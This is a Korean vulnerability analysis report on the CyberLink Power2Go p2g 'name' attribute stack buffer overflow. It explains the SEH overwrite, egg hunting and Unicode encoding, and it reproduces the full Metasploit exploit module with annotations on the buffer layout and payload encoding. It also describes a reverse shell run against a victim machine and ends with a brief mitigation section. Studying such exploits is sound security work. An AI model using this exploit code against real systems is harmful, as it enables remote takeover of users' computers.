취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] 2012-07-19 RedAlert Team_ 강동우
목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. Power2Go name Stack Buffer Overflow 취약점요약... 1 2. Power2Go name Stack Buffer Overflow 취약점분석... 2 2.1. Power2Go name Stack Buffer Overflow 취약점개요... 2 2.2. Power2Go name Stack Buffer Overflow 취약점대상시스템목록... 2 2.3. Power2Go name Stack Buffer Overflow 취약점원리... 2 3. 분석... 3 3.1. 공격기법및기본개념... 3 3.2. Power2Go name Stack Buffer Overflow 취약점... 4 3.2.1 Power2Go name Stack Buffer Overflow 분석...4 3.2.2 Metasploit 의 cyberlink_p2g_bof 분석...5 3.2.3 공격코드실행...7 4. 결론... 9 5. 대응방안... 9 6. 참고자료... 10
1. 개요 1.1. 취약점분석추진배경 Power2Go 프로그램은데이터, 비디오, 사진, 시스템복구디스크를생성및수정하는프로그램이다. Power2Go 에서디스크정보를추가할때 File name 부분에서길이를체크하지않음을발견하였으며이를이용해 BOF 를시도한다. 1.2. Power2Go name Stack Buffer Overflow 취약점요약 Power2Go 에서디스크정보를추가할때 File name 부분의길이를체크하지않는것을 이용하여정상버퍼이상의 File name 을삽입한파일을로드시켜 Seh 를변조시킨다. 1
2. Power2Go name Stack Buffer Overflow 취약점분석 2.1. Power2Go name Stack Buffer Overflow 취약점개요 취약점이름 CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit 최초발표일 2012 년 4 월 18 일문서작성일 2012 년 4 월 18 일위험등급높음벤더 CyberLink 취약점영향목적과다른방향으로프로그램실행현재상태패치됨 표 1. Power2Go name attribute Buffer Overflow 취약점개요 2.2. Power2Go name Stack Buffer Overflow 취약점대상시스템목록 Power2Go 프로그램자체의취약점으로 Power2Go 가사용될수있는모든 Window 가대상이된다. Microsoft Windows 2000 Microsoft Windows XP Microsoft Windows 2003 Microsoft Windows Vista Microsoft Windows 7 Microsoft Windows 2008 2.3. Power2Go name Stack Buffer Overflow 취약점원리 Power2Go 에서디스크정보를추가할때 File name 부분의길이를체크하지않는것을이용하여정상버퍼이상의 File name 을삽입한파일을로드시켜 Seh 를변조시킨다. 변조가되면삽입한공격자컴퓨터로접속되는리버스쉘코드가실행되며대기하고있던공격자컴퓨터에접속이되며공격자는피해자컴퓨터의제어권을가지게된다. 2
3. 분석 3.1. 공격기법및기본개념 위프로그램을공격하기위해 Stack Buffer Overflow, Seh, Egg Hunt, UNICODE 가사용되었다. Buffer Overflow 의방법중 Stack Buffer Overflow 는정상버퍼크기이상의문자열이입력되었을경우정상버퍼를넘어선다른영역을침범하여 Crash 를발생시킬수있으며 Crash 로인해 exploit 을시도할수있다. 윈도우의에러제어부분인 Seh 를악용하여공격자가심어둔쉘코드로이동하여쉘코드를실행할수있다. Egg Hunt 를이용하여쉘코드해더부분에특정문자열을넣어특정문자열검색으로공격쉘코드가어디에위치해있는지검색하여쉘코드가실행되는방식을사용하였다. UNICODE 란전세계에여러나라가있고각나라마다의문자가있다. 이문자들중문자하나당 1byte 로표현하기어려운문자가있다. 이것을해결하기위해문자하나당 2byte 를사용하게되었다. 이것을 UNICODE 라고지칭한다. UNICODE 는 1byte 만사용될경우 2byte 중앞의 1byte 는 \x00 로표현되며이로인해 strcpy 같은복사함수들이막혔으며이를우회하기위해 UNICODE 형식과같은가젯을사용하며쉘코드도 UNICODE 형식에맞춰서인코딩이필요하다. 3
3.2. Power2Go name Stack Buffer Overflow 취약점 3.2.1 Power2Go name Stack Buffer Overflow 분석 [ 그림 1] Metasploit 을사용하여공격파일생성 [ 그림 2] Seh 변조화면 Seh 부분에 ppr 주소로변조된것을볼수있다. 이를이용하여공격코드를실행시킨다. 4
3.2.2 Metasploit 의 cyberlink_p2g_bof 분석 require 'msf/core' #msf/core 의메소드를가져와사용한다. class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking #Metasploit3 이 Remote 의상속받는다 include Msf::Exploit::FILEFORMAT #FileForMat 를사용한다. def initialize(info = {}) # 클래스생성 (show options 옵션들 ) super(update_info(info, 'Name' => 'CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit', 'Description' => %q{ This module exploits a stack buffer overflow in CyberLink Power2Go version 8.x The vulnerability is triggered when opening a malformed p2g file containing an overly long string in the 'name' attribute of the file element. This results in overwriting a structured exception handler record. }, 'License' => MSF_LICENSE, 'Author' => [ 'modpr0be <modpr0be[at]spentera.com>', #initial discovery 'mr_me <steventhomasseeley[at]gmail.com> #msf module ], 'References' => [ ['BID', '50997'], ['OSVDB', '70600'], ['URL', 'http://www.exploit-db.com/exploits/18220/'], ['URL', 'http://www.kb.cert.org/vuls/id/158003'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00" }, 'Platform' => 'win', 'Targets' => [ #Power2Go8.exe (0x004b0028) 주소형식이 UNICODE 와일치한것을고른다. #pop esi/pop ebp/pop ebx/add esp,10/retn [ 'CyberLink Power2Go 8 (XP/Vista/win7) Universal', { 'Ret' => "\x28\x4b" } ] ], 'DisclosureDate' => 'Sep 12 2011', 'DefaultTarget' => 0)) end register_options( [ OptString.new('FILENAME', [ true, 'The output filename.', 'msf.p2g']) ], self.class) def get_payload(hunter) # 페이로드생성 5
[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { name enc = framework.encoders.create(name) # 유니코드로인코딩 if name =~ /unicode/ enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' }) else enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' }) end hunter = enc.encode(hunter, nil, nil, platform) if name =~/alpha/ } getpc_stub = # 공격쉘코드를찾기위한해더부분 "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35" hunter = getpc_stub + hunter # 인코딩된페이로드와헌트해더를합친다 end return hunter end def exploit title = rand_text_alpha(10) # 유니코드로된랜덤문자 10byte buffer = "" buffer << rand_text_alpha(778) # 유니코드로된랜덤문자 778byte buffer << "\x58\x28" # nseh => INC EAX buffer << target['ret'] # seh => pop esi/pop ebp/pop ebx/ # add esp,10/ret buffer << "\x5f\x73" * 15 # pop edi/add [ebx],dh 를 15 번넣는다 buffer << "\x58\x73" # pop eax/add [ebx],dh buffer << "\x40\x73" * 3 # inc eax/add [ebx],dh 를 3 번넣는다 buffer << "\x40" # inc eax buffer << "\x73\x42" * 337 # add [ebx],dh/pop edx 를 337 번넣는다. buffer << "\x73" # add [ebx],dh buffer << get_payload(payload.encoded) # 유니코드로인코딩된페이로드를삽입 p2g_data = <<-EOS <Project magic="#{title}" version="101"> <Information /> <Compilation> <DataDisc> <File name="#{buffer}" /> </DataDisc> </Compilation> </Project> EOS # 완성된페이로드삽입 print_status("creating '#{datastore['filename']}' file...") file_create(p2g_data) end end 6
3.2.3 공격코드실행 [ 그림 3] 공격자컴퓨터에서대기화면 [ 그림 4] 피해자컴퓨터에서공격코드파일실행 공격자는대기를하고피해자가공격코드파일을실행시키기를기다린다. 7
[ 그림 5] 공격성공화면 공격쉘코드가정상실행되면서피해자컴퓨터가공격자컴퓨터로접속을하였다. 8
4. 결론 파일을불러올때정상버퍼크기이상의문자열이들어왔을때 Crash 가발생하는데이것을 악용하여 Seh 에 pop pop ret 주소로변조하여공격쉘코드가실행되어공격자의컴퓨터에 접속되며공격자가피해자컴퓨터의제어권을가지게되었다. 5. 대응방안 정상버퍼이상의문자열이들어왔을때의문제이므로파일이로드되었을때사용되는 문자열의길이를체크하는코드를추가하거나전체적인길이를체크하는체크섬부분을 추가하면될것이다. 9
6. 참고자료 본취약점본문 www.exploit-db.com/exploits/18220/ 10